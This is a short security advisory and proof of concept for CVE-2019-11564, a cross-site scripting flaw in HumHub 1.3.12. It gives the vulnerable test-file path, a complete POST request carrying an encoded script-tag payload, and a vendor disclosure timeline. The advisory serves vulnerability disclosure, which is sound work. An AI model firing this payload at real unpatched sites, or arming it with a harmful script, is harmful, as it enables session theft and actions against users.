HumHub 1.3.12 - Cross-Site Scripting

# Exploit Title: HumHub 1.3.12 - Cross-Site Scripting
# Exploit Author: Kağan EĞLENCE
# Vendor Homepage: https://humhub.org/
# Version: 1.3.12
# CVE : CVE-2019-11564


Url : http://localhost/humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php
Vulnerable File :
/protected/vendor/codeception/codeception/tests/data/app/view/index.php
Request Type: POST


#Request Example:
=============

    POST /humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php
HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/73.0.3683.83 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://localhost/humhub-1.3.12/protected/vendor/codeception/codeception/tests/data/app/view/index.php
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 64
    Connection: close
    Cookie: xxxx
    Upgrade-Insecure-Requests: 1

    %3Cscript%3Ealert%28%22Vulnerable%22%29%3C%2Fscript%3E=undefined

### History
=============
2019-4-10  Issue discovered
2019-4-10  Vendor contacted
2019-4-10  Vendor response and hotfix
2019-4-27  Advisory release